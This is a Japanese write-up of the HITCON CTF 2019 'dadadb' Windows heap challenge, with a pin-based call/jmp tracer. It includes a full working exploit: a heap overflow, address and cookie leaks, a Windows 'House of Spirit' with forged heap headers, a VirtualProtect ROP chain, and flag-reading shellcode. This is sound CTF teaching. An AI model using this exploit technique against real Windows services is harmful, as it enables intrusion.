HITCON CTF 2019 Quals - dadadb Write-up (+ call/jmp tracer)

tags: ctf pwn windows intel pin

概要

この記事は,CTF Advent Calendar 2019 の2日目の記事です.
1日目はhamaくんの「CTFでのLinuxのユーザランド以外の問題についてまとめる」でした.

はじめに

今回はHITCON CTF 2019 Qualsで出題された,dadadbという問題について解説します.

解いたチームは6チームだけ(A*O*EPPPr3kapigShellphishbinjaNever Stop Exploiting)なので,かなり難しい部類だと思います.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

またあまり情報を得ることはできなかったのですが,解く過程で作成した,pinベースの調査ツールについても供養がてらご紹介しようと思います.

問題文

It’s ddaa’s database of doctoral dissertation.
Try to get some magic doctoral dissertation in C:\dadadb\flag.txt

nc 13.230.51.176 4869

Note: The service is running on Windows Server 2019 Microsoft Windows [Version 10.0.17763.805]

ファイルはこちらからDLできます.

準備

WindowsのPwn問ですが,最初にやることは大して難しく有りません.

  • 問題文に書かれている通りWindows Server 2019の評価版環境を用意し,Microsoft Upgradeで最新にする
    • 当時の最新がVersion 10.0.17763.805だった
  • 必要なツールを入れる
    • 個人的には,デバッガとしてx64dbgがあれば十分だと思います
    • その他としてProcess Explorerやサクラエディタ,clinkなど好きなツールを導入しておきましょう
    • OSが評価版なので問題を解いたら結局破棄する環境です,頑張って作り込む必要はありません

初動解析

ざっくり見ていきましょう.

まずはmainを見つけます.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

loginadd_noteshow_notedelete_noteを実装したノート系サービスです.

show_notedelete_noteはインライン展開されているようですね.ここにバグは有りません.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

ちなみにノートはこんな感じの構造体です.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

またNOTE_ARRAYは256個のテーブルで,note->keyの0バイト目によって振り分けられ,個別のリンクリストを持ちます.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

loginはこんな感じ.同梱のuser.txtを見て比較しているだけなので,ここも大したことは有りません.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

add_noteを見てみましょう.ここにバグがあります.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

さてこの関数はadd_noteと命名していますが,実際にはedit_note的な機能も兼ねています.

ノートはkeycontentを持っていて,

  • 新たなkeyを指定: 新たなノートのcontentにデータを登録(add_note相当)
  • 既存のkeyを指定: 既存のノートのcontentのデータを更新(edit_note相当)
    という感じです.但し既存のノートのcontentを更新する際,毎回HeapFree(content)が走ります.

さて,バグはかなり自明です.
内容を更新する際に新たなcontentsizeが尋ねられますが,そのsizeは使わず過去に登録したcontent_sizeを使い回してFileReadします.

つまり一度非常に大きなcontentを登録しておき,更新する際に小さいsizeを指定しながら大量のデータを送信すると,ヒープBOFが発生します.

またcontentは確保後にゼロクリアされないので,show_noteを用いればヒープのデータリークも可能ですね.

あとはここからどの様にシェルを奪うか,という方針を考える必要があります.

各種リーク

リークは簡単にできるので,先に抜いておきましょう.

こんな感じのコードで,まずはヒープのベースアドレスが抜けます.

s, f = sock(HOST, PORT) login() tag = pQ(0) print "[+] setup" add("Aa", 0x400, "A"*0x2f) # create add("Aa", 0x10, "A"*0xf) # re-create add(tag, 0x20, "z"*0xf) # victim print "[+] first leak" leak_data = show("Aa") leak = uQ(leak_data[0x20:0x28]) dbg("leak") heap = leak - 0x960 dbg("heap")

続いてこんな感じのコードで,各種メモリのアドレスが抜けます.単にcontentのアドレスをヒープBOFで差し替えてshow_noteで抜いているだけです.

print "[+] leak dll, pie, peb, and stack" def leak(addr, size=0x20, leak_data=leak_data): forge = leak_data[:0x20] + pQ(addr) + pQ(size) + leak_data[0x30:] add("Aa", 0x10, forge) r = show(tag) return uQ(r[:8]), r ntdll = leak(heap + 0x2c0)[0] - 0x163d10 ntdll &= ~0xfff dbg("ntdll") assert leak(ntdll)[1].startswith("MZ") # debug dadadb = leak(ntdll + 0x15f000 + 0x62c8)[0] - 0xf8 dbg("dadadb") assert leak(dadadb)[1].startswith("MZ") # debug cookie = leak(dadadb + 0x5008)[0] dbg("cookie") kernel32 = leak(ntdll + 0x15f000 + 0x6fd8)[0] - 0x3d8d0 kernel32 &= ~0xfff dbg("kernel32") assert leak(kernel32)[1].startswith("MZ") # debug encoding = leak(heap + 0x88)[0] dbg("encoding") peb = leak(ntdll + 0x165308)[0] - 0x80 dbg("peb") ucrtbase = leak(ntdll + 0x178548)[0] dbg("ucrtbase") assert leak(ucrtbase)[1].startswith("MZ") # debug stackbase = leak(peb + 0x1010)[0] dbg("stackbase") r = leak(stackbase + STACK_START_OFS, 0x1000)[1] while not "e\0x\0e\0" in r : r += menu() menu() stack = stackbase + STACK_START_OFS + len(r) + 0x102 dbg("stack") print "[+] fix addr" leak(heap + 0x960) # for fix to delete leak_data = show("Aa")

抜いたのはntdll.dllのベース, dadadb.exeのベース,cookie(stack canary)kernel32.dllのベース,_HEAP->encodingPEBのベース,ucrtbase.dllのベース,スタックベース,スタックの実際に利用している付近のアドレスです(この時点では,使うかわからないけど先を見据えて色々抜いただけです).

Windowsでは,ヒープのベースアドレスには_HEAPと呼ばれるmain_arenaのような管理用の構造体が存在し,こいつはntdll.dll内のアドレスを保持しています.ntdll.dllのベースアドレスが判明すれば,後は芋づる式に分かります.

  • ヒープのベースアドレス特定(=_HEAPを特定)
    • _HEAPは,ntdll.dll内のアドレスを保持
      • ntdll.dllは,実行したバイナリ(=dadadb.exe)内のアドレスを保持
        • dadadb.exeは,.data__security_cookieを保持(起動後に値が書き換わる)
      • ntdll.dllは,kernel32.dll内のアドレスを保持
      • ntdll.dllは,PEB内のアドレスを保持
        • PEBは,スタックの開始~終了アドレスを保持
          • スタック全体のうち,実際に使っているのがどこかは不明
      • ntdll.dllは,ucrtbase.dll内のアドレスを保持
    • _HEAPは,ヒープの各チャンクのヘッダをXOR暗号化するencodingを保持

STACK_START_OFSはとりあえずローカルでは0x2000にしとくと良さ気な確率でスタックのアドレスが抜けました(本番では0x4000だと上手く行った).雑に書いたので,スタックの実際使われている部分を特定するためのオフセットを決め打ちして若干確率的になっていますが,綺麗に書くならスタックの先頭から少しずつチェックしていけば100%の信頼度で抜くことも可能です.

尚,最後はヒープの破損状況を元の状態に戻しているだけです.

任意書き込みへ

さて,任意書き込みはどうすればよいでしょうか.

私はこの時点で,以下の2つの方針が思いついていました.

  1. nextを偽造し,任意のメモリ領域をノートのリンクリストにつなげる
    • 任意のメモリ領域をノートとして扱い,content_size相当の位置に任意の8byteを書き込む
      • どのメモリ領域を指定するかはこの時点ではいいアイデアが浮かんでいない
  2. ノートのcontentを偽造して,強制freeから何か別のテクニックに持ち込む
    • この時点ではいいアイデアが浮かんでいない

この内,まずは1つ目ができないかを調査することにしました.もっとも簡単なのは,RWな関数ポインタがどこかにあった場合,それを差し替えることです.その関数ポインタが呼ばれれば後はROPで何とかなるでしょう.ASLRは突破できていますから,メモリのどこに存在しても対応は可能なはずです.

では,どこに関数ポインタがあるのでしょうか.またその関数ポインタは実際に呼ばれるものでしょうか.

関数ポインタの探索ツール

方針1が可能かどうかを調査すべく,関数ポインタを探索するツールをintel pinをベースに作成しました.

Linux版

実は元々linuxベースのツールを作ってあったので,まずはそれを紹介します.

やってることは単純で,pin配下でcall [reg/mem]jmp [reg/mem]をトレースし,メモリマップ情報と突き合わせてアドレスを表示するだけです.

https://gist.github.com/bata24/221f45b05740e38e81d03afc85111da5

実際に使うとこんな感じ.Linux版は色をつけて見やすくしてあります.

Windows版

Linux版の上記ツールを改造して,Windowsにも対応させることにしました.

ただしLinuxでは/proc/self/mapsを使えばすぐにメモリマップが確認可能ですが,Windowsではメモリマップを簡単に取得することはできません.

いろいろなデバッガのコードを参考にしながら,なんとか同様の機能を実装しました.

https://gist.github.com/bata24/cb63e647825fe7998aa23ac52f33b9c5

方針1

このツールでdadadbにアタッチします.

  • 上のプロンプトはAppJailLauncher.exeの待ち受けです.
    • 環境変数を使って,後ほどMyPinTool.dllがインジェクションされたときに,LOG=1(ログ保存モード)FIRST=1(同じアドレスは2回目以降表示しない),として動作するようにしています.
    • ファイルの作成制限を解除するため,/nojail付きにしています(log.logをオープンできるようにする).
    • 終了したときに環境変数を削除するようにしています.
  • 下のプロンプトはpinによるインジェクションです.
  • その下は,ProcessExplorerでアタッチすべきPIDを調べているところです.
  • インジェクションに成功すると,%TEMP%\log.logが作られます.

logの中に,実際に呼ばれ得るcall [reg/mem]jmp [reg/mem]が記録されています.

この後色々なパターンを試したのですが,結果として面白い関数ポインタは見つからず,方針1は断念したのでした.

尚,この問題を解いていて改めて感じたことは,Windowsは思ったより堅く,簡単に奪えるような関数ポインタは存在しないということです.

方針1.5

実はこの後,方針2を考える前にもう一つ調査していたことがあります.それはadd_noteの以下のコードを考察していて思いついたものです.

まず事前にnote->nextを偽造するなどで,利用されるnoteがスタックのどこかを指すよう仕込んでおいたと仮定しましょう.58行目でスタック上のnoteが選択された状況を考えてみてください.

note(=stack上のどこか)->contentNULLなら,60行目のHeapFree()を通過して77行目の処理へ到達するはずです(WindowsではHeapFree(NULL)は未定義動作ですが,Linuxのfree(NULL)と同様,コード上は何もせずリターンするようです).

77行目ではヒープからcontentが確保されますが,その後printf()が一度呼ばれてからReadFile()しています.この付近のコードは,アセンブリで読むと以下のようになっています.

HeapAlloc()で確保したアドレス(=rax)は,一度note->contentに保存しているのが確認できます(=mov [rdi], rax).そしてprintf()を呼び出してから再度取り出し,そこにcontentとしてデータを読み込むのです.

この動きを元に,以下のような流れで攻略できるのではないかと考えました.

  • HeapAlloc()note->contentにヒープのアドレスが書き込まれる
    • 但しnoteがスタックのどこかを指すと仮定しているので,実際はスタック上にヒープのアドレスが書き込まれる
  • printf()の内部で,スタックにスタックのアドレスを積む処理が存在する(?)
    • 実際にこんな処理があるかどうかはわからない
  • これらのアドレスを重ねておけば,printf()によってスタック上のnote->contentが書き換わる
    • つまりnote->contentがスタックのアドレスを指す
    • スタックのアドレスに対して大量のヒープBOFが発生,つまりスタックBOF
    • cookieが抜けているので,ROP可能

この方針1.5はとても魅力的に見えました.少なくともどうすればよいか見当がついていない方針2よりは,探索する価値があると思ったのです.

そこで,小一時間かけてデバッグしたのですが,この方針は結局NGでした.確かに,printf()の処理においてスタックにスタックのアドレスを積む処理はあったのですが,そのようなアドレスをnoteとして指定しようとすると,前段のHeapFree()を突破できなかったのです(note->contentが非NULL).

残念ながら方針1.5も諦めました.

方針2

さて当初は攻略の見当がつかなかった方針2ですが,方針1.5を調査している最中に1つ閃きました.よくよく考えれば,note->contentを頑張って差し替える必要はないのです.HeapAlloc()からスタックのアドレスが返ってくれば,やりたいこと(スタックBOF)は達成できるのです.

そして,HeapAlloc()からスタックのアドレスを返すテクニックは,Linuxでは知られています.そう,House of spiritですね.

ということで,WindowsでのHouse of spiritを試したところ,なんと上手く行ってしまいました.

Windowsのヒープのチャンクの仕組みは,以前スライドで公開したので,お持ちの方は見てみると良いでしょう(現在は公開停止しています).ちなみに該当する部分だけ引っ張ってくると,こんな感じです.

尚当時のスライドは32bit環境なのでチャンクのヘッダは8バイトですが,64bit環境ではこれが0x10バイトでalignされます.またSizePreviousSizeは,32bit環境では8バイト単位の値を持ちますが,これも64bit環境では0x10バイト単位の値を保持するよう変更されています.

これを元に,ヒープのチャンクを偽造しておきます.ここでは3つのチャンクを作っていて,0x10, 0x20,0x10のサイズのチャンクを3つ続けて作っています.2つ目のチャンク(0x20サイズ)が本命のチャンクで,前後に偽造したチャンクを付加している状況ですね.

print "[+] create fake heap on to stack " def create_heap_header(size, prev_size): busy = 1 unused = 0x10 # size = size/0x10 prev_size = prev_size/0x10 raw = size | (busy<<16) | (((size&0xff)^((size>>8)&0xff)^busy)<<24) | (prev_size<<32) | (unused<<56) return encoding ^ raw fake_chunk = tag + pQ(create_heap_header(0x10, 0x10)) # 1st fake_chunk += pQ(0) + pQ(create_heap_header(0x20, 0x10)) # 2nd fake_chunk += pQ(0) + pQ(0) fake_chunk += pQ(0) + pQ(create_heap_header(0x10, 0x20)) # 3rd

fake_chunkは64バイト以下にしなければなりません.これを書き込みたいのはスタックで,スタックへ書き込むにはadd_notekeyとして書き込む必要があるからです.add_notekeyは64バイトまでしか受け付けないので,その制約を回避するためギッチギチに詰め込んでいます.

面白いのは,Windows 64bitのチャンクサイズは最低0x20バイト(チャンクヘッダ0x10バイト+ユーザ利用領域0x10バイト)であるにもかかわらず,前後においた1つ目のチャンクと3つ目のチャンクは0x10バイト(=ユーザ利用領域を持たない変なサイズ)であっても問題なく通過することです.おそらくkernel32.dllHeapFree()時における前後チャンクの併合処理では,prev_sizesizeで得られる位置をencodingで復号し,チャンクヘッダのbusyが1であれば併合しない,というだけの処理なのでしょう.サイズが適切かどうかまでは見ていないようです.

さてこの偽造チャンク3つをadd_notekeyとして送ると,keyは一旦スタック上に保存されるため,スタック上に偽造チャンクが3つできることになります.そして2つ目のチャンクのアドレスを指定してHeapFree()が行われるとエラーなく通過し,次回のHeapAlloc()にて2つ目のチャンク(=スタックのアドレス)が返ります.

あとは単なるスタックBOFですので,ROPでVirtualProtect()を呼び,シェルコードを呼ぶだけですね.dadadb.exeAppJailLauncher.exe配下で動くはずなので,seccomp配下で動いているようなイメージですね.とはいえ流石にフラグは読むことができるはずなので,余計なことはせずopen/read/write型のシェルコードにするのが適切でしょう.

Exploit

最終的なexploitは以下のようになりました.

途中で方針1や方針1.5に寄り道したせいで多少無駄な事もやっていますが(nextを差し替えた後にリンクリスト上の前のノートをdeleteするなど),気にしてはいけません.

#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, os, telnetlib, hexdump
#################################################################################
def sock(host, port):
s = socket.create_connection((host, port))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim): data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<I",a&0xffffffff)
def u(a): return struct.unpack("<I",a)[0]
def pQ(a): return struct.pack("<Q",a&0xffffffffffffffff)
def uQ(a): return struct.unpack("<Q",a)[0]
def dbg(ss):
cs, ce = '\x1b[1;37m', '\x1b[00m' # White
print(cs + "[+] %s: 0x%x"%(ss, eval(ss)) + ce)
def make_asm(asm):
open("sc.asm", "wb").write(asm)
r = os.system("nasm -f bin sc.asm -o sc.bin -l sc.lst")
if r != 0: exit()
return open("sc.bin","rb").read()
def xxd(data):
hexdump.hexdump(data)
#################################################################################
def menu():
r = read_until(f, ">> ")
#print [r]
return r
def login():
f.write("1\n")
read_until(f, "User:")
f.write("orange\n")
read_until(f, "Password:")
f.write("godlike\n")
return menu()
def add(key, size, content, skip=False):
assert size < 0x1000
f.write("1\n")
read_until(f, "Key:")
f.write(("%s\n" % key)[:0x40])
read_until(f, "Size:")
f.write("%d\n" % size)
read_until(f, "Data:")
f.write("%s\n" % content)
if skip:
return
return menu()
def show(key, skip=False):
f.write("2\n")
read_until(f, "Key:")
f.write("%s\n" % key)
if not skip:
read_until(f, "Data:")
return menu()
def delete(key):
f.write("3\n")
read_until(f, "Key:")
f.write("%s\n" % key)
return menu()
#################################################################################
if sys.argv[1] == 'r':
HOST, PORT = "13.230.51.176", 4869
STACK_START_OFS = 0x2000 # some brute force
else:
HOST, PORT = "192.168.164.130", 4869
STACK_START_OFS = 0x4000
ofs_virtual_protect = 0x1B680
ofs_pop_rcx = 0x9217b #: pop rcx ; ret ; (4 found)
ofs_pop_rdx = 0x8fb37 #: pop rdx ; pop r11 ; ret ; (1 found)
ofs_pop_r8 = 0x2010b #: pop r8 ; ret ; (1 found)
ofs_pop_r9 = 0x8fb34 #: pop r9 ; pop r10 ; pop r11 ; ret ; (1 found)
ofs_pop_rax = 0x2010c #: pop rax ; ret ; (38 found)
ofs_jmp_rax = 0x04c8b #: jmp rax ; (17 found)
#################################################################################
s, f = sock(HOST, PORT)
login()
tag = pQ(0)
print "[+] setup"
add("Aa", 0x400, "A"*0x2f) # create
add("Aa", 0x10, "A"*0xf) # re-create
add(tag, 0x20, "z"*0xf) # victim
print "[+] first leak"
leak_data = show("Aa")
leak = uQ(leak_data[0x20:0x28])
dbg("leak")
heap = leak - 0x960
dbg("heap")
print "[+] leak dll, pie, peb, and stack"
def leak(addr, size=0x20, leak_data=leak_data):
forge = leak_data[:0x20] + pQ(addr) + pQ(size) + leak_data[0x30:]
add("Aa", 0x10, forge)
r = show(tag)
return uQ(r[:8]), r
ntdll = leak(heap + 0x2c0)[0] - 0x163d10
ntdll &= ~0xfff
dbg("ntdll")
assert leak(ntdll)[1].startswith("MZ") # debug
dadadb = leak(ntdll + 0x15f000 + 0x62c8)[0] - 0xf8
dbg("dadadb")
assert leak(dadadb)[1].startswith("MZ") # debug
cookie = leak(dadadb + 0x5008)[0]
dbg("cookie")
kernel32 = leak(ntdll + 0x15f000 + 0x6fd8)[0] - 0x3d8d0
kernel32 &= ~0xfff
dbg("kernel32")
assert leak(kernel32)[1].startswith("MZ") # debug
encoding = leak(heap + 0x88)[0]
dbg("encoding")
peb = leak(ntdll + 0x165308)[0] - 0x80
dbg("peb")
ucrtbase = leak(ntdll + 0x178548)[0]
dbg("ucrtbase")
assert leak(ucrtbase)[1].startswith("MZ") # debug
stackbase = leak(peb + 0x1010)[0]
dbg("stackbase")
r = leak(stackbase + STACK_START_OFS, 0x1000)[1]
while not "e\0x\0e\0" in r :
r += menu()
menu()
stack = stackbase + STACK_START_OFS + len(r) + 0x102
dbg("stack")
print "[+] fix addr"
leak(heap + 0x960) # for fix to delete
leak_data = show("Aa")
print "[+] forge next and delete prev"
def forge_next(addr, leak_data=leak_data):
forge = leak_data[:0x20+0x58] + pQ(addr) + leak_data[0x20+0x58+8:]
add("Aa", 0x10, forge)
forge_next(stack)
delete(tag)
print "[+] create shellcode to heap"
shellcode = make_asm("""
BITS 64
global _start
_start:
open:
mov r15, %#x
lea rcx, [r15 + 0x5668] ; file_fd
lea rdx, [rel FILENAME] ; filename
lea r8, [rel PERMISSION] ; perm
lea rax, [r15 + 0x31A8]
call [rax]
read:
lea rcx, [r15 + 0x5f00] ; buffer
mov rdx, 0x100 ; size
mov r8, 0x1 ; count
lea rax, [r15 + 0x5668]
mov r9, [rax] ; file_fd
lea rax, [r15 + 0x3208]
call [rax]
puts:
lea rcx, [r15 + 0x5f00] ; buffer
lea rax, [r15 + 0x31d0]
call [rax]
LOOP:
jmp LOOP
FILENAME: db "flag.txt", 0
PERMISSION: db "r", 0
""" % (dadadb))
#xxd(shellcode)
add("hogehoge", 0x100, shellcode)
shellcode_addr = heap + 0x960
print "[+] forge note on to stack"
fake_note = pQ(stack - 0x270) + pQ(0x300)
#xxd(fake_note)
show(fake_note, skip=True)
print "[+] create fake heap on to stack "
def create_heap_header(size, prev_size):
busy=1
unused=0x10
size = size/0x10
prev_size = prev_size/0x10
raw = size | (busy<<16) | (((size&0xff)^((size>>8)&0xff)^busy)<<24) | (prev_size<<32) | (unused<<56)
return encoding ^ raw
fake_chunk = tag + pQ(create_heap_header(0x10, 0x10))
fake_chunk += pQ(0) + pQ(create_heap_header(0x20, 0x10))
fake_chunk += pQ(0) + pQ(0)
fake_chunk += pQ(0) + pQ(create_heap_header(0x10, 0x20))
#xxd(fake_chunk)
rsp = stack - 0x2e0
virtual_protect = kernel32 + ofs_virtual_protect
pop_rcx = ntdll + ofs_pop_rcx
pop_rdx = ntdll + ofs_pop_rdx
pop_r8 = ntdll + ofs_pop_r8
pop_r9 = ntdll + ofs_pop_r9
pop_rax = ntdll + ofs_pop_rax
jmp_rax = ntdll + ofs_jmp_rax
rop = pQ(pop_rcx)
rop += pQ(heap) # lpAddress
rop += pQ(pop_rdx)
rop += pQ(0x2000) # dwSize
rop += pQ(0xdeadbeef)
rop += pQ(pop_r8)
rop += pQ(0x40) # flNewProtect (PAGE_EXECUTE_READWRITE)
rop += pQ(pop_r9)
rop += pQ(heap) # lpflOldProtect
rop += pQ(0xdeadbeef)
rop += pQ(0xdeadbeef)
rop += pQ(pop_rax)
rop += pQ(virtual_protect)
rop += pQ(jmp_rax)
rop += pQ(shellcode_addr)
#xxd(rop)
add(fake_chunk, 0x10, "Z"*0xe0 + pQ(rsp^cookie) + pQ(0)*4 + rop, skip=True)
print "[+] shell"
shell(s)
"""
[+] setup
[+] first leak
[+] leak: 0x2114b5e0960
[+] heap: 0x2114b5e0000
[+] leak dll, pie, peb, and stack
[+] ntdll: 0x7ff94e160000
[+] dadadb: 0x7ff7de140000
[+] cookie: 0x5e6f3b24ab69
[+] kernel32: 0x7ff94e010000
[+] encoding: 0x661ce85fa323
[+] peb: 0x9440c1e000
[+] ucrtbase: 0x7ff94b280000
[+] stackbase: 0x9440b9d000
[+] stack: 0x9440b9f980
[+] fix addr
[+] forge next and delete prev
[+] create shellcode to heap
[+] forge note on to stack
[+] create fake heap on to stack
[+] shell
Done!
hitcon{Oh_U_got_the_Exc4libur_in_ddaa-s_HEAP}
Try to learn breath of shadow to kill demon !
"""
view raw exp.py hosted with ❤ by GitHub

終わりに

Windowsのexploitは苦手なのですが,少しだけ慣れることができた気がします.

あと,後日談としてMicrosoftに,最新のWindowsのkernel32.dllでもHouse of spiritが可能な旨を報告しておきました.まぁバグじゃないのですぐは直さないと返信は頂きましたが,将来直すかもしれないね,とのことでした.また記事にしても良いと許可も貰ったのでこの記事を書きました.

明日は私のGoogle CTF 2019 Quals - sandstone Write-upです.